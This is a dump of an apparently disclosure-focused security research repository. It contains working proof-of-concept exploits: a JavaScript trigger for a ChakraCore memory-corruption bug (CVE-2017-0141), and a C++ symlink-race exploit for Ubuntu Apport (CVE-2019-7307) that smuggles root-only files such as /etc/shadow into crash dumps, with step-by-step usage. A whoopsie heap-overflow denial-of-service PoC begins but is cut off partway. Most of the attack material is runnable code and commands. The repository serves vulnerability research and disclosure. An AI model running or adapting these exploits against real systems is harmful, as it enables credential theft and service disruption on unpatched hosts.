= 2048 3 | distinguished_name = dn 4 | x509_extensions = server_ext 5 | req_extensions = server_ext 6 | extensions = server_ext 7 | prompt = no 8 | 9 | [ ca ] 10 | default_ca = ca_default 11 | 12 | [ ca_default ] 13 | private_key = root-ca-key.pem 14 | certificate = root-ca.pem 15 | new_certs_dir = new_certs 16 | database = root-ca.index 17 | default_md = sha256 18 | serial = root-ca.serial 19 | email_in_dn = no 20 | default_days = 365 21 | policy = policy 22 | 23 | [ policy ] 24 | countryName = optional 25 | stateOrProvinceName = optional 26 | localityName = optional 27 | organizationName = optional 28 | organizationalUnitName = optional 29 | commonName = supplied 30 | 31 | [ dn ] 32 | countryName = US 33 | stateOrProvinceName = CA 34 | localityName = San Francisco 35 | organizationName = Wholesome Computing Inc. 36 | commonName = server.wholesomecomputing.com 37 | emailAddress = webmaster@wholesomecomputing.com 38 | 39 | [ server_ext ] 40 | basicConstraints = CA:FALSE 41 | subjectAltName = @alt_names 42 | subjectKeyIdentifier = hash 43 | 44 | [ alt_names ] 45 | DNS.1 = *.wholesomecomputing.com 46 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | -------------------------------------------------------------------------------- /Microsoft/ChakraCore/CVE-2017-0141/README.md: -------------------------------------------------------------------------------- 1 | # Remote code execution in Microsoft ChakraCore (CVE-2017-0141) 2 | 3 | This directory contains a proof of concept exploit for a remote code execution vulnerability in [ChakraCore](https://github.com/Microsoft/ChakraCore), the Javascript engine for Microsoft Edge. The vulnerability was caused by [this pull request](https://github.com/Microsoft/ChakraCore/pull/2196), which was a botched fix for [CVE-2016-7202](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7202). Semmle reported the vulnerability to Microsoft on 2016-12-19. Microsoft assigned it [CVE-2017-0141](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0141) and released a fix on [2017-03-14](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0141). 4 | 5 | # Reproduction steps 6 | 7 | First you need to build the version of ChakraCore with the vulnerability. On Windows, in a VS2015 [developer command prompt](https://docs.microsoft.com/en-us/dotnet/framework/tools/developer-command-prompt-for-vs), run these commands to download and build the vulnerable revision: 8 | 9 | ```bat 10 | git clone https://github.com/Microsoft/ChakraCore.git 11 | cd ChakraCore 12 | git checkout eecf271764ce0ee8ea58c2ec9c22bc2dd69861e7 &:: Version with "fix" for CVE-2016-7202 13 | msbuild /t:rebuild /m /p:Platform=x64 /p:Configuration=Release Build\Chakra.Core.sln 14 | ``` 15 | 16 | Note: this revision of ChakraCore is too old to build with VS2017. You need VS2015 or earlier. 17 | 18 | If the build was successful, then you can run the exploit like this: 19 | 20 | ```bat 21 | Build\VcBuild\bin\x64_release\ch.exe cve-2017-0141.js 22 | ``` 23 | 24 | This causes ChakraCore to crash with the following error message: 25 | 26 | ``` 27 | FATAL ERROR: ch.exe failed due to exception code c0000005 28 | ``` 29 | -------------------------------------------------------------------------------- /Microsoft/ChakraCore/CVE-2017-0141/cve-2017-0141.js: -------------------------------------------------------------------------------- 1 | var a = [1]; 2 | a.length = 1000; 3 | 4 | var o = {}; 5 | Object.defineProperty(o, '1', { 6 | get: function() { 7 | for (var i = 0; i < 0x100000; i++) { 8 | a[0x100000 + i] = i; 9 | } 10 | return 2; 11 | } 12 | }); 13 | 14 | a.__proto__ = o; 15 | 16 | var r = [].reverse.call(a); 17 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SecurityExploits 2 | This repository contains proof-of-concept exploits developed by the [Semmle Security Research Team](https://semmle.com/security). We always disclose security vulnerabilities responsibly, so this repository only contains exploits for vulnerabilities which have already been fixed and publicly disclosed. 3 | -------------------------------------------------------------------------------- /Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/.gitignore: -------------------------------------------------------------------------------- 1 | gencrashreport 2 | killwhoopsie1 3 | -------------------------------------------------------------------------------- /Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/Makefile: -------------------------------------------------------------------------------- 1 | all: gencrashreport killwhoopsie1 2 | 3 | gencrashreport: gencrashreport.cpp utils.cpp 4 | g++ -Wall -O2 gencrashreport.cpp utils.cpp -o gencrashreport 5 | 6 | killwhoopsie1: killwhoopsie1.cpp utils.cpp 7 | g++ -Wall -O2 killwhoopsie1.cpp utils.cpp -o killwhoopsie1 8 | 9 | clean: 10 | rm -f gencrashreport killwhoopsie1 11 | -------------------------------------------------------------------------------- /Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/README.md: -------------------------------------------------------------------------------- 1 | # Ubuntu Apport TOCTOU (CVE-2019-7307) and whoopsie heap buffer overflow (CVE-2019-11476) 2 | 3 | This directory contains proof-of-concept exploits for vulnerabilities in Ubuntu's crash reporting system: 4 | 5 | * [CVE-2019-7307](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-7307) is a time-of-check to time-of-use (TOCTOU) vulnerability in Apport, which enables an unprivileged local user to trick Apport into including the contents of an arbitrary file in a crash report. The full bug report is public on [bugs.launchpad.net](https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1830858). 6 | * [CVE-2019-11476](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11476) is a denial of service vulnerability. An integer overflow when reading large crash dumps (> 4GB) leads to a heap buffer overflow. I do not believe it is possible to exploit this heap buffer overflow to achieve code execution, so I have classified this bug as a denial of service. The full bug report is public on [bugs.launchpad.net](https://bugs.launchpad.net/ubuntu/+source/whoopsie/+bug/1830863). 7 | 8 | ## Instructions 9 | 10 | I usually try to provide a `Dockerfile` so that my PoCs are safely reproducible on a patched system. Unfortunately, Apport is specifically designed to behave differently inside a container, so I am not able to do so this time. Instead, if you would like to test the exploit, then you will need to revert the bug fix in your Apport installation. You can do that as follows: 11 | 12 | ``` 13 | git clone https://git.launchpad.net/ubuntu/+source/apport 14 | cd apport 15 | git checkout applied/2.20.9-0ubuntu7.6 16 | sudo cp apport/report.py /usr/lib/python3/dist-packages/apport/report.py 17 | ``` 18 | 19 | When you are done, don't forget to fix your installation: 20 | 21 | ``` 22 | sudo apt-get install --reinstall python3-apport 23 | ``` 24 | 25 | Build the PoC for Apport CVE-2019-7307 like this: 26 | 27 | ``` 28 | make 29 | ``` 30 | 31 | And run it like this: 32 | 33 | ``` 34 | ./gencrashreport /etc/shadow 35 | ``` 36 | 37 | This will create a file named `/var/crash/_usr_share_apport_apport.0.crash`, which is owned by `root`, but also readable by `whoopsie`. For a full exploit chain, we would therefore also need a second exploit that enables us to read files as whoopsie. But since we don't have that yet, we need to change the permissions of the crash report: 38 | 39 | ``` 40 | sudo chmod 666 /var/crash/_usr_share_apport_apport.0.crash 41 | ``` 42 | 43 | At this point, you can unpack the crash report and see that the contents of `/etc/shadow` are embedded in the `CoreDump` file: 44 | 45 | ``` 46 | mkdir report 47 | apport-unpack /var/crash/_usr_share_apport_apport.0.crash report 48 | cd report 49 | ``` 50 | 51 | Note: `apport-unpack` is a bit flaky and usually crashes with an error message like this: `['ProcEnviron', 'UserGroups'] has no binary content`. But it works well enough to extract the core dump from the report. Now use your favorite text editor to open `CoreDump` and search for the contents of `/etc/password`. Searching for the string "root:" usually works. 52 | -------------------------------------------------------------------------------- /Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/gencrashreport.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include "utils.hpp" 12 | 13 | // Names of special files. 14 | const char* var_crash_ = "/var/crash"; 15 | const char* lock_path_ = "/var/crash/.lock"; 16 | const char* lock_bak_path_ = "/var/crash/.lock.bak"; 17 | const char* var_crash_bin_sleep_prefix_ = "/var/crash/_bin_sleep."; 18 | const char* dotcrash_ = ".crash"; 19 | const char* apport_ignore_name_ = ".apport-ignore.xml"; 20 | const char* apport_ignore_bak_name_ = ".apport-ignore.xml.bak"; 21 | const char* expatbuilder_cpython_ = 22 | "/usr/lib/python3.6/xml/dom/__pycache__/expatbuilder.cpython-36.pyc"; 23 | const char apport_cmdline[] = "/usr/bin/python3\0/usr/share/apport/apport"; 24 | 25 | // Search `/proc/*/cmdline` to find the PID of Apport. 26 | pid_t get_apport_pid() { 27 | const pid_t apport_pid = 28 | search_pid(apport_cmdline, sizeof(apport_cmdline)); 29 | if (apport_pid < 0) { 30 | throw Error("Could not find apport PID."); 31 | } 32 | return apport_pid; 33 | } 34 | 35 | // Main class for triggering Apport. 36 | class TriggerApportMain { 37 | const char* const targetfile_; // Forbidden file that we want to read. 38 | const AutoCloseFD homedir_fd_; // File descriptor for $HOME 39 | const AutoCloseFD listensock_; // TCP listening socket 40 | const std::string apport_ignore_path_; // `$HOME/.apport-ignore.xml` 41 | const std::string apport_ignore_bak_path_; // `$HOME/.apport-ignore.xml.bak` 42 | const std::string corefile_path_; // `/var/crash/_bin_sleep..crash` 43 | 44 | pid_t spawn_child_process(); 45 | void create_special_files(); 46 | 47 | public: 48 | TriggerApportMain( 49 | const char* targetfile, const char* homedir, const int homedir_fd, 50 | const int listensock 51 | ); 52 | ~TriggerApportMain(); 53 | 54 | void run(); 55 | }; 56 | 57 | TriggerApportMain::TriggerApportMain( 58 | const char* targetfile, const char* homedir, const int homedir_fd, 59 | const int listensock 60 | ) : targetfile_(targetfile) 61 | , homedir_fd_(homedir_fd) 62 | , listensock_(listensock) 63 | , apport_ignore_path_(std::string(homedir) + "/" + apport_ignore_name_) 64 | , apport_ignore_bak_path_(std::string(homedir) + "/" + apport_ignore_bak_name_) 65 | , corefile_path_(std::string(var_crash_bin_sleep_prefix_) + 66 | std::to_string(getuid()) + 67 | dotcrash_) 68 | { 69 | } 70 | 71 | TriggerApportMain::~TriggerApportMain() { 72 | // Clean up all the files. If everything worked as expected then the 73 | // ".bak" files should already be gone, but we try to remove them anyway 74 | // just in case something went wrong. 75 | unlinkat(homedir_fd_.get(), apport_ignore_name_, 0); 76 | unlinkat(homedir_fd_.get(), apport_ignore_bak_name_, 0); 77 | unlinkat(AT_FDCWD, lock_path_, 0); 78 | unlinkat(AT_FDCWD, lock_bak_path_, 0); 79 | unlinkat(AT_FDCWD, corefile_path_.c_str(), 0); 80 | } 81 | 82 | // Create a file named `~/.apport-ignore.xml` and a symlink named 83 | // `.apport-ignore.xml.bak`. The first file is just a temporary file which 84 | // we will use to bypass a file permission check: Apport calls 85 | // `os.access()` to check that we have permission to read 86 | // `~/.apport-ignore.xml`. The second file is a symlink which points to the 87 | // file that we really want to read (but don't have permission to). So we 88 | // will replace the first file with the symlink immediately after the 89 | // `os.access()` has happened. But we create both files in advance so that 90 | // the switcheroo can be done as quickly as possible (with a rename 91 | // syscall). 92 | void TriggerApportMain::create_special_files() { 93 | // Try to create `/var/crash/.lock` first, because if it fails then the 94 | // entire exploit isn't going to work. 95 | AutoCloseFD lockfile_fd( 96 | create_file( 97 | AT_FDCWD, lock_path_, S_IRWXU | S_IRWXG | S_IRWXO 98 | ) 99 | ); 100 | 101 | // Create `/var/crash/.lock.bak`. It will replace `/var/crash/.lock` 102 | // once Apport has started. 103 | AutoCloseFD lockfile_bak_fd( 104 | create_file( 105 | AT_FDCWD, lock_bak_path_, S_IRWXU | S_IRWXG | S_IRWXO 106 | ) 107 | ); 108 | 109 | char bogustxt[] = "kevwozere"; 110 | create_and_write_file( 111 | homedir_fd_.get(), 112 | apport_ignore_name_, 113 | bogustxt, 114 | sizeof(bogustxt), 115 | S_IRUSR | S_IWUSR 116 | ); 117 | 118 | createSymlink(targetfile_, homedir_fd_.get(), apport_ignore_bak_name_); 119 | } 120 | 121 | // This where we exploit the TOCTOU vulnerability. This is the source 122 | // location of the vulnerability: 123 | // 124 | // https://git.launchpad.net/ubuntu/+source/apport/tree/apport/report.py?h=applied/ubuntu/bionic-devel&id=2fc8fb446c78e950d643bf49bb7d4a0dc3b05429#n962 125 | // 126 | // Apport allows the user to place a file in their home directory named 127 | // `~/.apport-ignore.xml`. The call to os.access() on line 962 is intended 128 | // to check that this file belongs to the correct user. But on line 967, 129 | // the file is read again using xml.dom.minidom.parse. This creates a 130 | // window of opportunity for an attacker to replace the file with a 131 | // symlink. The symlink does not need to point to a valid XML file, because 132 | // there is a try-except around the call to the parser, so if the file is 133 | // invalid then Apport just ignores it and continues. However, the contents 134 | // of the file still ends up in Apport's heap. 135 | // 136 | // I used `sudo strace -e file -tt -p ` to discover that 137 | // `expatbuilder.cpython-36.pyc` is opened immediately before 138 | // `.apport-ignore.xml` is parsed. So we can use inotify to watch 139 | // `expatbuilder.cpython-36.pyc` and replace `.apport-ignore.xml` with a 140 | // symlink at exactly the right moment. This is also good time to do 141 | // the switcheroo on `/var/crash/.lock`. 142 | void file_switcheroo( 143 | const pid_t cpid, // PID of process that we are going to crash 144 | const int inotify_fd, // File descriptor for inotify 145 | const int homedir_fd // File descriptor for $HOME 146 | ) { 147 | add_watch(inotify_fd, expatbuilder_cpython_, IN_OPEN | IN_ONESHOT); 148 | 149 | // Trigger the crash. 150 | kill(cpid, SIGSEGV); 151 | 152 | // Use `poll` to wait for an inotify event. 153 | fd_wait_for_read(inotify_fd); 154 | 155 | // Do the switcheroo on `.apport-ignore.xml`. It is now a symlink to the 156 | // file that we want to read (but aren't supposed to). 157 | const int r0 = 158 | renameat(homedir_fd, apport_ignore_bak_name_, 159 | homedir_fd, apport_ignore_name_); 160 | if (unlikely(r0 < 0)) { 161 | throw ErrorWithErrno("Rename of .apport-ignore.xml failed."); 162 | } 163 | 164 | // Do the switcheroo on `/var/crash/.lock`. This is to stop the second 165 | // Apport from deadlocking with the first. This trick works because locks 166 | // created by lockf are only "advisory". Replace the lock file with a new 167 | // file deactivates the lock. 168 | // See: https://git.launchpad.net/ubuntu/+source/apport/tree/data/apport?h=applied/ubuntu/bionic-devel&id=2fc8fb446c78e950d643bf49bb7d4a0dc3b05429#n50 169 | const int r1 = rename(lock_bak_path_, lock_path_); 170 | if (unlikely(r1 < 0)) { 171 | throw ErrorWithErrno("Rename of /var/crash/.lock failed."); 172 | } 173 | 174 | drain_fd(inotify_fd); 175 | } 176 | 177 | // Do a `posix_spawn` of `/bin/sleep`. 178 | pid_t TriggerApportMain::spawn_child_process() { 179 | char prog[] = "/bin/sleep"; 180 | char arg[] = "60s"; 181 | char *const argv[3] = {prog, arg, 0}; 182 | 183 | // If we start /bin/sleep with a DBUS_SESSION_BUS_ADDRESS environment 184 | // variable then Apport will open a socket to the specified address 185 | // (which is controlled by this process - Mwahahaha). This enables us 186 | // to control the timing of the attack more precisely. 187 | // See: https://git.launchpad.net/ubuntu/+source/apport/tree/data/apport?h=applied/ubuntu/bionic-devel&id=2fc8fb446c78e950d643bf49bb7d4a0dc3b05429#n266 188 | // Actually, I have to confess that I only included this 189 | // DBUS_SESSION_BUS_ADDRESS bit for giggles. I am confident that I 190 | // could get the PoC to work without it. But I did find this "feature" 191 | // of Apport quite useful while I was investigating how Apport 192 | // works. It enabled me to easily pause Apport while it was running, 193 | // which was useful as a debugging feature. 194 | const uint16_t port = getportnumber(listensock_.get()); 195 | std::cout << "listening on port " << port << "\n"; 196 | char dbus[128]; 197 | snprintf( 198 | dbus, sizeof(dbus), 199 | "DBUS_SESSION_BUS_ADDRESS=tcp:host=127.0.0.1,bind=*,port=%d", 200 | port 201 | ); 202 | char *const envp[2] = {dbus, 0}; 203 | 204 | pid_t cpid = 0; 205 | const int r = posix_spawn(&cpid, "/bin/sleep", 0, 0, argv, envp); 206 | if (r != 0) { 207 | throw ErrorWithErrno("posix_spawn failed."); 208 | } 209 | 210 | return cpid; 211 | } 212 | 213 | void TriggerApportMain::run() { 214 | // Spawn `/bin/sleep`. This is the program that we will crash. 215 | const pid_t cpid = spawn_child_process(); 216 | 217 | std::cout << "/bin/sleep started with PID " << cpid << "\n"; 218 | 219 | create_special_files(); 220 | 221 | // Initialize inotify. 222 | const AutoCloseFD inotify_fd(inotify_init1(IN_NONBLOCK | IN_CLOEXEC)); 223 | if (inotify_fd.get() < 0) { 224 | throw ErrorWithErrno("inotify_init1 failed"); 225 | } 226 | 227 | file_switcheroo(cpid, inotify_fd.get(), homedir_fd_.get()); 228 | 229 | std::cout << "switcheroo done\n"; 230 | 231 | // Wait for Apport to connect to our socket. 232 | fd_wait_for_read(listensock_.get()); 233 | 234 | sockaddr addr; 235 | socklen_t addr_len = sizeof(addr); 236 | memset(&addr, 0, addr_len); 237 | const AutoCloseFD dbus_sock(accept(listensock_.get(), &addr, &addr_len)); 238 | if (dbus_sock.get() < 0) { 239 | throw ErrorWithErrno("accept failed"); 240 | } 241 | 242 | std::cout << "socket accepted\n"; 243 | const pid_t apport_pid = get_apport_pid(); 244 | std::cout << "apport PID = " << apport_pid << "\n"; 245 | 246 | // Add a watcher for the core file getting created. 247 | add_watch(inotify_fd.get(), var_crash_, IN_CREATE | IN_ONESHOT); 248 | 249 | // Close the accepted socket so that Apport will continue. 250 | shutdown(dbus_sock.get(), SHUT_RD); 251 | close(dbus_sock.get()); 252 | 253 | // Wait for a file to be created in `/var/crash`. 254 | fd_wait_for_read(inotify_fd.get()); 255 | drain_fd(inotify_fd.get()); 256 | 257 | // Now we need to wait until apport starts to write the core 258 | // file. Unfortunately, we cannot use inotify for this because the file 259 | // is initially owned by root, so we do not have permission to watch 260 | // it. So we have to settle for the inelegant solution of looping 261 | // until we can read the file. 262 | size_t count = 0; 263 | while (1) { 264 | count++; 265 | const AutoCloseFD corefile_fd(open(corefile_path_.c_str(), O_RDONLY)); 266 | if (corefile_fd.get() >= 0) { 267 | break; 268 | } 269 | } 270 | std::cout << "count = " << count << "\n"; 271 | 272 | // Add a watcher for the core file getting written. 273 | add_watch(inotify_fd.get(), corefile_path_.c_str(), IN_MODIFY | IN_ONESHOT); 274 | 275 | // Use `poll` to wait for an inotify event. 276 | fd_wait_for_read(inotify_fd.get()); 277 | drain_fd(inotify_fd.get()); 278 | 279 | // Change the core limit of Apport to 0:0. It is currently set to 1, 280 | // which is another attempt to prevent Apport from getting into a 281 | // recursive loop. This seems to be quite an obscure feature. I learned 282 | // about it here: 283 | // https://bugs.launchpad.net/ubuntu/+source/linux/+bug/498525/comments/3 284 | const struct rlimit new_limit = {0,0}; 285 | if (prlimit(apport_pid, RLIMIT_CORE, &new_limit, 0) < 0) { 286 | throw ErrorWithErrno("prlimit failed"); 287 | } 288 | 289 | // Kill Apport. Apport sets a few signal handlers in `setup_signals`, so 290 | // we need to choose a core-generating signal that it doesn't have a 291 | // handler for. SIGTRAP works. 292 | // See: https://git.launchpad.net/ubuntu/+source/apport/tree/data/apport?h=applied/ubuntu/bionic-devel&id=2fc8fb446c78e950d643bf49bb7d4a0dc3b05429#n149 293 | kill(apport_pid, SIGTRAP); 294 | 295 | // Add a watch for `/var/crash/.lock` getting opened. Otherwise we 296 | // might accidentally delete it (in `~TriggerApportMain()`) before 297 | // the next Apport starts up. Which will lead to it being owned by 298 | // root, which will prevent us from running the exploit again. 299 | add_watch(inotify_fd.get(), lock_path_, IN_OPEN | IN_ONESHOT); 300 | fd_wait_for_read(inotify_fd.get()); 301 | drain_fd(inotify_fd.get()); 302 | } 303 | 304 | int main(int argc, char* argv[]) { 305 | try { 306 | // Don't place restrictions on file permissions created by this 307 | // program. 308 | umask(0); 309 | 310 | if (argc < 2) { 311 | const char* progname = (argc > 0) ? argv[0] : "apportread"; 312 | throw Error( 313 | std::string("Usage: ") + progname + " " 314 | ); 315 | } 316 | 317 | // Open a TCP port. Apport will connect to this port during 318 | // `is_closing_session`. 319 | // See: https://git.launchpad.net/ubuntu/+source/apport/tree/data/apport?h=applied/ubuntu/bionic-devel&id=2fc8fb446c78e950d643bf49bb7d4a0dc3b05429#n266 320 | const int listensock = create_bind_and_listen_tcp(); 321 | 322 | const char* targetfile = argv[1]; 323 | const char* homedir = getenv("HOME"); 324 | if (!homedir) { 325 | throw Error("HOME environment variable is not set."); 326 | } 327 | 328 | // Get a file descriptor for the home directory, so that we can mostly 329 | // use the openat/renameat/... file operations. (Annoyingly, 330 | // inotify_add_watch doesn't have a "*at" API, so we still need to use 331 | // the full path for that.) 332 | const int homedir_fd = open(homedir, O_PATH | O_CLOEXEC); 333 | if (homedir_fd < 0) { 334 | throw Error(std::string("Could not open ") + homedir); 335 | } 336 | 337 | TriggerApportMain triggerApportMain( 338 | targetfile, homedir, homedir_fd, listensock 339 | ); 340 | triggerApportMain.run(); 341 | } catch (ErrorWithErrno& e) { 342 | int err = e.getErrno(); 343 | std::cerr << e.what() << "\n" << strerror(err) << "\n"; 344 | exit(EXIT_FAILURE); 345 | } catch (std::exception& e) { 346 | std::cerr << e.what() << "\n"; 347 | exit(EXIT_FAILURE); 348 | } 349 | 350 | exit(EXIT_SUCCESS); 351 | } 352 | -------------------------------------------------------------------------------- /Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/killwhoopsie1.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include "utils.hpp" 9 | 10 | // Proof-of-concept for CVE-2019-11476. 11 | // "Integer overflow in parse_report (whoopsie.c:425)" 12 | // Bug report: https://bugs.launchpad.net/ubuntu/+source/whoopsie/+bug/1830863 13 | // 14 | // The PoC works by creating a file named `/var/crash/killwhoopsie.crash`, 15 | // just over 4GB in size. It then creates a file named 16 | // `/var/crash/killwhoopsie.upload`, which prompts whoopsie to start 17 | // processing the .crash file. Be aware that whoopsie will keep restarting 18 | // and crash repeatedly until you remove the files from /var/crash. 19 | 20 | int main() { 21 | try { 22 | AutoCloseFD crash_fd( 23 | create_file( 24 | AT_FDCWD, "/var/crash/killwhoopsie.crash", S_IRWXU | S_IRWXG | S_IRWXO 25 | ) 26 | ); 27 | 28 | // Create a value just under 4GB in size. 29 | write_or_throw(crash_fd.get(), "x: ", 3); 30 | write_repeated_buffer(crash_fd.get(), "kevwozere", 9, 0x100000000ULL - 16); 31 | // Increase the size of the value by continuing on the next line. 32 | // This causes an integer overflow here: 33 | // http://bazaar.launchpad.net/~daisy-pluckers/whoopsie/trunk/view/698/src/whoopsie.c#L425 34 | write_or_throw(crash_fd.get(), "\n ", 2); 35 | 36 | // Interestingly, if we make `mchunkhdr` exactly 15 bytes long then the 37 | // `value` doesn't get deallocated in `destroy_key_and_value` 38 | // (whoopsie.c:350), because `*(char*)value == '\0'`. 39 | const unsigned char mchunkhdr[16] = 40 | { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 41 | 0xF0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 'x' 42 | }; 43 | 